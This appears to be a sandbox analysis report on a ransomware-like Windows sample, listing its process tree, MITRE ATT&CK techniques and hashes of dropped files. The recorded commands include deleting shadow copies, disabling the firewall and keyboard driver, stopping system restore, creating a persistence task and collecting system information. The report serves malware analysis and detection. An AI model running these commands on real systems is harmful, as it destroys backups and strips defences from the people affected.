C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3940
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:6352
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5320 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2092
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5328 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:2492
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5856
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:6832
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C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:6692 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:712
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2988
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1212
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4648
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6420
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1312
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4868 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5736
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3428
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1988
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4572
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1524
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:6904
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a36855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:6916
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2996
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C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe1⤵PID:4700
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C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe1⤵PID:4332
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1004
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 e72e04e65cfc61db64e573d552bf229cb7c02f3243012b45cbf305fb2080ebf4
- MD5 66c43235b392b30043c3d0610078c359
- SHA1 7e938ff1a9f9f8d475db0d34b87d1a4c0c5388f6
- SHA512 1ae7dfdee7ccb854ff2f6f0c1af1d8074c1cb3338ead58b40b367ec0e5e6ed51fbdaf8e4f21134d1d4630271130caa0efc3ba4ca69ad2e169aff2b4f20f67686
- SSDEEP 1536:D2Rveo0zwn1+7cRMa3EJIsjDCQ392FBJA8ezply9ueJzRBDEI8Ztse87GrOa:DgvQzwnA81EljDH1zpl6uUzRRl8ZtseD
- TLSH T142633A334B23FDC5677F3D80F05439820C883A6747B5A678FBC9096939A5688EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 fe100c890e8fe9821d86a94c1f7a508aac40c932bf3904afc1d2d0b3e672b351
- MD5 94eb41affafb85eceb4d7b42e81e2e16
- SHA1 24637ddc8cb8d5ec6f7dd1631e0f1bb0e3e07586
- SHA512 ae22421a23983a2b3e9727ef5b359ca42c0b8d401781e34938fd910cba26c68bacf067c2bbb51e1a8a218f881f6675b2bea005ba2d66b2a200022ca5a15a56f1
- SSDEEP 1536:j2Rveo0zwn1+7cRMa3EJIsjDCQ392FBJA8ezply9ueJzRBDEI8Ztse87GrOt:jgvQzwnA81EljDH1zpl6uUzRRl8Ztsea
- TLSH T15C6329334B23FDC5677F3D80F06429810C883A6747B5A778FBC909A939A5688DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 246B
- SHA256 22a30a87282215bdfd0af4cf9533501eeb31256950128018e0ec08906361cacd
- MD5 db80f4772f59bc90457b9bf9c1a97d10
- SHA1 a40a47e88a39bc99e7d6284d66bced11f4216f18
- SHA512 5b37928bccfa917e71c1ecfb6c5eeec10f14154d4f5abb2743ccc052bdfc87539360bfaac03938a5bc5b77c0d1119738f583d3d3f16ddbf4604cba9d0031b853
- TLSH T14DD05E8AA24986A90001127B81F38E8CE5A548693A1BBEB05AA5DD4E32908D589BA542
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 247B
- SHA256 681e5d7c821e03de34cc5df86c51c72029a23d3d73bbfb923a41f9110f34ea54
- MD5 f5e392346597d68d99fec29f8079278e
- SHA1 543a5cdf6f3be1a05908cbb9b7a41a580044acba
- SHA512 893a1d3d2b3b6c7086ecdf03d87ef07794b8421ec9531729d14d1d3173f722365fe58f0d9d99c161e77eb38ee62bae896b9e3f46d5e3d5af37dd3411fdb3f15b
- TLSH T194D05B8A614985650001127B80F38D8CE5E544593A1B6E705555DD0E328049545B5542
- MD5 SHA1 SHA512 TLSH